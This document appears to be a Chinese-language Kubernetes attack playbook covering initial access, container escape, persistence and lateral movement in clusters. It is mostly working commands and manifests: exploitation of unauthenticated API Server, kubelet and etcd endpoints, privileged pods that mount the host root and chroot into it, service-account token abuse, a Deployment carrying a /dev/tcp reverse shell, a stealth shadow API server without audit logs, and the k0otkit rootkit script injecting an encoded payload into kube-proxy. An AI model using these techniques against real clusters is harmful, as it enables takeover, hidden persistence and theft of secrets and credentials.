识别容器
首先是Docker再判断是否为K8s
/run/secrets/kubernetes.io/serviceaccount文件是为Pod中的进程和外部用户提供身份信息
Copy df -h
Filesystem Size Used Avail Use% Mounted on
overlay 50G 3.6G 47G 8% /
tmpfs 64M 0 64M 0% /dev
tmpfs 1.9G 0 1.9G 0% /sys/fs/cgroup
/dev/mapper/centos-root 50G 3.6G 47G 8% /etc/hosts
shm 64M 0 64M 0% /dev/shm
tmpfs 1.9G 12K 1.9G 1% /run/secrets/kubernetes.io/serviceaccount
tmpfs 1.9G 0 1.9G 0% /proc/acpi
tmpfs 1.9G 0 1.9G 0% /proc/scsi
tmpfs 1.9G 0 1.9G 0% /sys/firmware
Copy ls -l /run/secrets/kubernetes.io/serviceaccount/
total 0
lrwxrwxrwx 1 root root 13 Sep 17 01:17 ca.crt - > ..data/ca.crt
lrwxrwxrwx 1 root root 16 Sep 17 01:17 namespace - > ..data/namespace
lrwxrwxrwx 1 root root 12 Sep 17 01:17 token - > ..data/token
主要包含了三个内容
namespace指定了pod所在的namespace
env环境变量
Copy root@privileged-container:~# env
KUBERNETES_SERVICE_PORT_HTTPS = 443
KUBERNETES_SERVICE_PORT = 443
HOSTNAME = privileged-container
DVWA_WEB_SERVICE_PORT = 8080
DVWA_WEB_SERVICE_HOST = 10.97.153.211
DVWA_WEB_SERVICE_PORT_8080 = 8080
初始访问
容器内应用漏洞
常用Web应用,由K8s编排Docker部署的Web应用,存在SQL注入、命令执行等,获取到Webshell权限,这时候就拿到了Pod节点权限,通过Pod节点逃逸、横向渗透。
护网中常见的是Shiro拿到权限之后是由K8s部署的,在无法逃逸的情况下,利用Pod节点作为入口点,对内网横向渗透获取其它机器权限。
API Server未授权访问
API Server作为中心组件,通常使用kubectl来访问apiserver,也可以通过Kubernetes各个语言的client库来访问kube-apiserver 同时提供 https(默认监听在 6443 端口)和 http API(默认监听在 127.0.0.1 的 8080 端口)访问。
如运维人员配置不当,将默认监听127.0.0.1更改为0.0.0.0,或者添加了--enable-skip-login选项,将会导致未授权访问。
由于鉴权配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。
可通过命令查看:
Copy kubectl get clusterrolebindings -o yaml
配置有未授权
Copy kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous
利用链:
可以通过cdk中的kcurl模块进行利用
查看Pods -> 创建特权容器 -> 执行命令 -> 逃逸完成。
Copy #查看Pod
https://192.168.250.28:6443/api/v1/namespaces/default/pods?limit =500
Copy #创建特权容器
https://192.168.250.28:6443/api/v1/namespaces/default/pods/test-4444
POST:
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-3333\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-3333\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test-3333","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test-3333","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}
Copy #执行命令
https://192.168.250.28:6443/api/v1/namespaces/default/pods/test-3333/exec?stdout =1 & stderr = 1 & tty = true & command = whoami
YAML描述文件
Copy apiVersion: v1 #创建该对象所使用的Kubernetes API版本
kind: Pod #对象类型为Pod,可以是Deployment、DaemonSet等
metadata: #识别对象唯一性数据,名称、namespace
name: test-444 #Pod名称
spec: #Pod规格
containers:
- name: test-444 #容器名称
image: nginx:1.14.2 #镜像
volumeMounts: #卷
- name: host
mountPath: /host #将宿主机的根目录挂载到/host目录下
volumes:
- name: host
hostPath:
path: /
type : Directory
提示!
执行
Copy
https://192.168.250.28:6443/api/v1/namespaces/default/pods/test-4444/exec?stdout =1 & stderr = 1 & tty = true & command = whoami
{
"kind" : "Status" ,
"apiVersion" : "v1" ,
"metadata" : {
},
"status" : "Failure" ,
"message" : "Upgrade request required" ,
"reason" : "BadRequest" ,
"code" : 400
}
问题原因:
curl/postman不支持从http升级到websocket因此错误
Copy wscat -n -c
'https://192.168.250.28:6443/api/v1/namespaces/default/pods/test-3333/exec?stdout=1&stderr=1&tty=true&command=whoami'
kubelet未授权访问
每个Node节点上都运行一个 Kubelet 服务进程,默认监听 10250 端口,接收并执行 Master 发来的指令,管理 Pod 及 Pod 中的容器。在缺少对TLS身份验证,而在一些默认配置中启用了,--anonymous-auth 默认为true允许匿名身份访问API。
案例:
Kubernetes集群被入侵
kubernetes集群遭挖矿木马突袭
修改未授权选项:
Copy cp /var/lib/kubelet/config.yaml /var/lib/kubelet/config.yaml.bak
vim /var/lib/kubelet/config.yaml
anonymous: true
mode: AlwaysAllow
攻击方式:
Copy curl -sk https://192.168.238.173:10250/runningpods/ | python -m json.tool
curl -k -XPOST "https://192.168.238.173:10250/run/kube-system/node-local-dns-zhrdn/node-local" -d "cmd=whoami"
新版的k8s认证方式authorization mode默认为webhook,需要 Kubelet 通过 Api Server 进行授权。这样只是将authentication的anonymous改为true也无法利用
利用工具:
kubeletctl
Copy Examples:
// List all pods from kubelet
kubeletctl pods --server 123.123.123.123
// List all pods from kubelet with token
kubeletctl pods --token < JWT_toke n > --server 123.123.123.123
// List all pods from kubelet with token file
kubeletctl pods --token-file /var/run/secrets/kubernetes.io/serviceaccount/token --server 123.123.123.123
// Searching for service account token in each accessible container
kubeletctl scan token --server 123.123.123.123
// Searching for pods/containers vulnerable to RCE
kubeletctl scan rce --server 123.123.123.123
// Run "ls /" command on pod my-nginx-pod/nginx in thedefault namespace
kubeletctl run "ls /" --namespace default --pod my-nginx-pod --container nginx --server 123.123.123.123
// Run "ls /" command on all existing pods in a node
kubeletctl.exe run "ls /" --all-pods --server 123.123.123.123
// With certificates
kubeletctl.exe pods -s < node_i p > --cacert C: \U sers \m yuser \c erts \c a.crt --cert C: \U sers \m yuser \c erts \k ubelet-client-current.pem --key C: \U sers \m yuser \c erts \k ubelet-client-current.pem
etcd获取敏感信息
2379(用于客户端与ectd通信)在默认配置当中是可以直接访问获取些敏感信息。
本地127.1可免认证访问,其他地址要带--endpoint参数和cert进行认证。
通过某搜索引擎:
Copy #列出该目录所有节点的信息
http://114.xxx.xxx.155:2379/v2/keys
Copy #添加上recursive=true参数,就会递归地列出所有的值
http://36..xxx.xxx.18:2379/v2/keys/?recursive = true
通过命令方式访问
Copy #检查是否正常连接
etcdctl endpoint health
#读取service account token
etcdctl get / --prefix --keys-only | grep /secrets/kube-system/clusterrole
#通过token认证访问API-Server,接管集群
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token= "[ey...]" -n kube-system get pods
#带cert访问etcd
etcdctl --insecure-skip-tls-verify --insecure-transport=true --endpoints=https://172.16.0.112:2379 --cacert=ca.pem --key=etcd-client-key.pem --cert=etcd-client.pem endpoint health
Dashboard面板暴露
由于鉴权配置不当如添加了--enable-skip-login选项,从而使Dashboard允许匿名用户以管理员权限向集群内部下发指令。
Copy kubectl get pod -n kube-system | grep dashboard
kubectl get svc -n kube-system | grep dashboard
kubectl describe -n kube-system secrets admin-user
之后进入到终端,进入到/host通过chroot进行切换bash
K8s configfile 泄露
K8s configfile作为K8s集群的管理凭证,其中包含有关K8s集群的详细信息(API Server、登录凭证)。
K8s本身并不维护这类帐户信息,它不会存储到API Server上,仅用于检测用户是否有权限执行所请求的操作。
如办公网机器被入侵、运维电脑存有并且能够访问得到API Server就能够直接接管K8s。
用户凭证保存在kubeconfig 文件中,而kubectl执行命令时会通过以下顺序来找到 kubeconfig 文件:
如果提供了--kubeconfig参数,就使用提供的 kubeconfig 文件。
如果没有提供--kubeconfig 参数,但设置了环境变量 $KUBECONFIG,则使用该环境变量提供的 kubeconfig 文件。
如果以上两种情况都没有,kubectl 就使用默认的 kubeconfig 文件 $HOME/.kube/config。
K8s有两种用户类型:
完整利用流程:
K8s configfile --> 创建后门Pod/挂载主机路径 --> 通过Kubectl进入容器 --> 利用挂载目录逃逸。
User Account
Copy #Linux安装kubectl
curl -LO "https://dl.k8s.io/release/$( curl -L -s
https://dl.k8s.io/release/stable.txt )/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
Copy #内容放入config、或指定选项,需要修改Server地址
kubectl --kubeconfig k8s.yaml
Copy #获取已接取的镜像
kubectl get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath= "{..image}" | tr -s '[[:space:]]' '\n' | sort | uniq -c
Copy #创建Pod pod.yaml,将宿主机根目录挂载host文件
apiVersion: v1
kind: Pod
metadata:
name: test-444
spec:
containers:
- name: test-444
image: nginx:1.14.2
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type : Directory
Copy #在default命名空间中创建pod
kubectl apply -f pod.yaml -n default
#进入容器中
kubectl exec -it test-444 bash -n default
#切换bash,逃逸成功
cd /host
chroot ./ bash
Service Account
K8s集群创建的Pod中,容器内部默认携带K8s Service Account的认证凭据(/run/secrets/kubernetes.io/serviceaccount/token),CDK将利用该凭据尝试认证K8s api-server服务器并访问高权限接口,如果执行成功意味着该账号拥有高权限,您可以直接利用Service Account管理K8s集群。
k8s集群部署的时候默认会在每个pod容器中挂载token文件到
/run/secrets/kubernetes.io/serviceaccount/token
Copy #Linux安装kubectl
curl -LO "https://dl.k8s.io/release/$( curl -L -s
https://dl.k8s.io/release/stable.txt )/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
获取token文件内容,并写入如下格式:
apiVersion: v1
clusters:
- cluster:
insecure-skip-tls-verify: true
server: https://192.168.238.129:6443
name: cluster-name
contexts:
- context:
cluster: cluster-name
namespace: default
user: admin
name: admin
current-context: admin
kind: Config
preferences: {}
users:
- name: admin
user:
token: eyJhbGciOiJSUzI1NiIsImtpZCI6IjhGYlREWldiRHFsamVrNmpGdTRzR1ZVa251eHBGWV9zaE5xxxxOrmcZuSIICPW-ydtWco0D4QmwhXvC-pdVGNBgX98GVgxjOBNJL32P2azjdyMBOtA
kubectl --kubeconfig k8s.yaml version --insecure-skip-tls-verify=true
Copy #权限不够会提示:
Error from server (Forbidden): nodes is forbidden: User "system:serviceaccount:default:default" cannot list resource "nodes" in API group "" at the cluster scope
在Kubernetes中,授权有ABAC(基于属性的访问控制)、RBAC(基于角色的访问控制)、Webhook、Node、AlwaysDeny(一直拒绝)和AlwaysAllow(一直允许)这6种模式。从1.6版本起,Kubernetes 默认启用RBAC访问控制策略。从1.8开始,RBAC已作为稳定的功能。
Copy #获取拉取过的images
kubectl get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath= "{..image}" | tr -s '[[:space:]]' '\n' | sort | uniq -c
Copy #找到可用的镜像后
#将宿主机的根目录挂载到了我们pod中的 /host目录
apiVersion: v1
kind: Pod
metadata:
name: test-444
spec:
containers:
- name: test-444
image: 100.125.4.222:20202/hwofficial/coredns:1.15.6
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type : Directory
#创建该pod
kubectl --kubeconfig k8s.yaml apply -f pod.yaml -n default \
--insecure-skip-tls-verify=true
#进入容器
kubectl --kubeconfig k8s.yaml exec -it test-444 bash -n default -
-insecure-skip-tls-verify = true
BASH利用方式
Copy #指向内部 API 服务器主机名
export APISERVER = https://${KUBERNETES_SERVICE_HOST}
#设置 ServiceAccount 令牌的路径
export SERVICEACCOUNT = /var/run/secrets/kubernetes.io/serviceaccount
#读取 pods 命名空间并将其设置为变量。
export NAMESPACE = $( cat ${SERVICEACCOUNT} /namespace )
#读取 ServiceAccount 不记名令牌
export TOKEN = $( cat ${SERVICEACCOUNT} /token )
# CACERT 路径
export CACERT = ${SERVICEACCOUNT}/ca.crt
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/secrets
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/namespaces/${NAMESPACE}/pods
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets | grep k8svaultapikey
执行以下命令查看当前集群中所有Namespaces。
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/namespaces
#写入yaml
cat > nginx-pod.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
name: test-444
spec:
containers:
- name: test-444
image: nginx:1.14.2
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type: Directory
EOF
创建pod
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -k
${APISERVER}/api/v1/namespaces/default/pods -X POST --header 'content-type: application/yaml' --data-binary @nginx-pod.yaml
查看信息
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/namespaces/default/pods/nginx
#执行命令
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/namespace/default/pods/test-444/exec ? command = ls & command = -l
or
api/v1/namespaces/default/pods/nginx-deployment-66b6c48dd5-4djlm/exec?command =ls & command = -l & container = nginx & stdin = true & stdout = true & tty = true
使用恶意镜像
使用恶意的镜像会危害到集群,例如在Docker Hub拉取不受信任的镜像,可能存在后门以及应用程序版本较低产生的漏洞。
私有镜像仓库
Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器,由VMware开源。配置文件默认密码为:harbor_admin_password: Harbor12345
Harbor 1.8.3前版前本存在: CVE-2019-1609-任意管理员注册
危害:攻击者上传构造好的后门镜像,获取镜像中源代码。
执行
创建后门容器
比如创建:DS、RS、Deployments
最常见的是反弹Shell
Copy #Linux安装kubectl
curl -LO "https://dl.k8s.io/release/$( curl -L -s
https://dl.k8s.io/release/stable.txt )/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
#内容放入config、或指定选项,需要修改Server地址
kubectl --kubeconfig k8s.yaml
#获取已接取的镜像
kubectl get pods --all-namespaces --insecure-skip-tls-verify=true -o
jsonpath = "{..image}" | tr -s '[[:space:]]' '\n' | sort | uniq -c
#创建Pod pod.yaml,将宿主机根目录挂载host文件
apiVersion: v1
kind: Pod
metadata:
name: test-444
spec:
containers:
- name: test-444
image: nginx:1.14.2
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type : Directory
#在default命名空间中创建pod
kubectl apply -f pod.yaml -n default
#进入容器中
kubectl exec -it test-444 bash -n default
#切换bash,逃逸成功
cd /host
chroot ./ bash
持久化
挂载主机路径
Copy #创建Pod pod.yaml,将宿主机根目录挂载host文件
apiVersion: v1
kind: Pod
metadata:
name: test-444
spec:
containers:
- name: test-444
image: nginx:1.14.2
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type : Directory
#在default命名空间中创建pod
kubectl apply -f pod.yaml -n default
Deployments
通过创建容器启用DaemonSets、Deployments,使子容器被清理掉了会恢复
ReplicationController(RC)
ReplicationController 确保在任何时候都有特定数量的 Pod 副本处于运行状态。
Replication Set(RS)
Replication Set简称RS,官方已经推荐我们使用RS和Deployment来代替RC了,实际上RS和RC的功能基本一致,目前唯一的一个区别就是RC只支持基于等式的selector
Deployment
主要职责和RC一样的都是保证Pod的数量和健康,二者大部分功能都是完全一致的,我们可以看成是一个升级版的RC控制器
官方组件kube-dns、kube-proxy也都是使用的Deployment来管理
这里使用Deployments来部署后门
Copy #dep.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: nginx-deploy
labels:
k8s-app: nginx-demo
spec:
replicas: 3
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
hostNetwork: true
hostPID: true
containers:
- name: nginx
image: nginx:1.7.9
imagePullPolicy: IfNotPresent
command : [ "bash" ]
args: [ "-c" , "bash -i >& /dev/tcp/192.168.238.173/4242 0>&1" ]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
type : Directory
#创建
kubectl create -f dep.yaml
Shadow API Server
部署一个shadow apiserver,该apiserver具有和集群中现存的apiserver一致的功能,同时开启了全部K8s管理权限,接受匿名请求且不保存审计日志。便于攻击者无痕迹的管理整个集群以及下发后续渗透行动。
利用链:
1. 拥有master node权限
2. 在攻入的pod内部查找API-server访问地址和凭据
3. 连接apiserver判断权限
4. 获取apiserver原有配置
5. 修改配置
6. 重新部署shadow apiserver
配置文件:
Copy /etc/systemd/system/kube-apiserver-test.service
Copy #一键部署Shadow apiserver
./cdk run k8s-shadow-apiserver default
#使用到的选项
--allow-privileged
--insecure-port = 9443
--insecure-bind-address = 0.0.0.0
--secure-port = 9444
--anonymous-auth = true
--authorization-mode = AlwaysAllow
#kcurl访问
./cdk kcurl anonymous get https://192.168.1.44:9443/api/v1/secrets
Rootkit
https://github.com/Metarget/k0otkit
DaemonSet和Secret资源(快速持续反弹、资源分离)
利用DaemonSet资源持续反弹,并且创建特权容器。
动态容器注入(高隐蔽性)
查找DaemonSet容器,在已启动的容器中添加后门
Meterpreter(流量加密)
Copy #生成k0otkit
./pre_exp.sh
#监听
./handle_multi_reverse_shell.sh
#k0otkit.sh的内容复制到master
volume_name = cache
mount_path = /var/kube-proxy-cache
ctr_name = kube-proxy-cache
binary_file = /usr/local/bin/kube-proxy-cache
payload_name = cache
secret_name = proxy-cache
secret_data_name = content
ctr_line_num = $( kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}' )
volume_line_num = $( kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}' )
image = $( kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}' )
# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
name: $secret_name
namespace: kube-system
type: Opaque
data:
$secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhOGVlOTI2ODAyMDAxMTY3ODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
EOF
# assume that ctr_line_num < volume_line_num
# otherwise you should switch the two sed commands below
# inject malicious container into kube-proxy pod
kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
| sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n hostPath:\n path: /\n type: Directory\n" \
| sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: [\"sh\"]\n args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n env:\n - name: $payload_name\n valueFrom:\n secretKeyRef:\n name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n - mountPath: $mount_path\n name: $volume_name" \
| kubectl --kubeconfig /root/.kube/config replace -f -
cronjob持久化
Job负责处理任务,即仅执行一次的任务
CronJob则就是在Job上加上了时间调度。
Copy kubectl create -f https://k8s.io/examples/application/job/cronjob.yaml
apiVersion: batch/v1
kind: CronJob
metadata:
name: hello
spec:
schedule: "*/1 * * * *"
jobTemplate:
spec:
template:
spec:
containers:
- name: hello
image: busybox
imagePullPolicy: IfNotPresent
command :
- /bin/sh
- -c
- #反弹Shell
restartPolicy: OnFailure
权限提升
K8s Rolebinding添加用户权限(Cluster-admin binding)
访问集群外资源(Access cloud resources)
探测
集群内网扫描
Kubernetes的网络中存在4种主要类型的通信
所以和常规内网渗透无区别,nmap、masscan等扫描
10/172/192
K8s常用端口探测
集群内部网络
Flannel网络插件默认使用10.244.0.0/16网络
Calico默认使用192.168.0.0/16网络
整体攻击思路
逃逸成功
获取Kubeconfig、执行kubectl控制集群
横向移动
通过Service Account访问K8s API
ARP投毒和IP欺骗(ARP poisoning and IP spoofing)
ConfigMap
提供了向容器中注入配置信息的能力,不仅可以用来保存单个属性,也可以用来保存整个配置文件
一般情况下ConfigMap是用来存储一些非安全的配置信息
Copy #查看configmap列表
kubectl get configmap
#查看详细信息
kubectl describe configmaps cm-data
Name: cm-data
Namespace: default
Labels: < non e >
Annotations: < non e >
Data
====
redis.conf:
----
host = 127.0.0.1
port = 6379
mysql.conf:
----
host = 127.0.0.1
port = 3306
#查看键值
kubectl get configmaps cm-data -o yaml
污点(Taint)横向渗透
污点是K8s高级调度的特性,用于限制哪些Pod可以被调度到某一个节点。
一般主节点包含一个污点,这个污点是阻止Pod调度到主节点上面,除非有Pod能容忍这个污点。
而通常容忍这个污点的Pod都是系统级别的Pod,例如kube-system
控制Pod创建时候的污点来向集群内的节点进行喷射创建。
Copy #Node中查看节点信息
[root@node1 ~ ]# kubectl get nodes
NAME STATUS ROLES AGE VERSION
192.168.238.129 Ready,SchedulingDisabled master 30d v1.21.0
192.168.238.130 Ready,SchedulingDisabled master 30d v1.21.0
192.168.238.131 Ready node 30d v1.21.0
192.168.238.132 Ready node 30d v1.21.0
Copy #确认Master节点的容忍度
[root@node1 ~ ]# kubectl describe nodes 192.168.238.130
Name: 192.168.238.130
Roles: master
Labels: beta.kubernetes.io/arch=amd64
beta.kubernetes.io/os =linux
kubernetes.io/arch =amd64
kubernetes.io/hostname =192.168.238.130
kubernetes.io/os =linux
kubernetes.io/role =master
Annotations: flannel.alpha.coreos.com/backend-data: { "VtepMAC" : "66:3b:20:6a:eb:ff" }
flannel.alpha.coreos.com/backend-type: vxlan
flannel.alpha.coreos.com/kube-subnet-manager: true
flannel.alpha.coreos.com/public-ip: 192.168.238.130
node.alpha.kubernetes.io/ttl: 0
volumes.kubernetes.io/controller-managed-attach-detach: true
CreationTimestamp: Tue, 14 Sep 2021 17:41:30 +0800
Taints: node.kubernetes.io/unschedulable:NoSchedule
Copy #创建带有容忍参数的Pod
kubectl create -f control-master.yaml
#control-master.yaml内容:
apiVersion: v1
kind: Pod
metadata:
name: control-master-15
spec:
tolerations:
- key: node.kubernetes.io/unschedulable
operator: Exists
effect: NoSchedule
containers:
- name: control-master-15
image: ubuntu:18.04
command : [ "/bin/sleep" , "3650d" ]
volumeMounts:
- name: master
mountPath: /master
volumes:
- name: master
hostPath:
path: /
type : Directory
Copy #获得Master控制端
kubectl exec control-master-15 -it bash
chroot /master bash
cat /etc/shadow
第三方组件风险
供应层
自动化和配置:Chef、Puppet、Ansible、Terraform、KubeEdge
镜像仓库:Docker Hub、Harbor、artifactory
运行时层
容器运行时:Containerd、CRI-O、Kata、gVisor、Firecracker
云原生网络:Calico、Weave Net、Flannel、Antrea、NSX-T
编排管理层
编排和调度:Kubernetes、Docker Swarm、Mesos
协调和服务发现:CoreDNS、Etcd、Zookeeper、Eureka
API网关:Kong、Mulesoft、Ambassador
服务网格:lstio、Linkerd、Consul
应用程序定义和开发层
数据流和消息传递:Spark、Kafka、RabbitMQ、Nats
应用程序定义和镜像构建:Helm、Buildpacks、Tilt、Okteto
持续集成和持续交付:Argo、Flagger、Spinnaker、Jenkins
平台层
其它k8s发行版:AgorKube、Canonical、OpenShift
托管Kubernetes:Azure、Alibaba Cloud
监控监测
监控:Prometheus、Cortex、Thanos、Grafana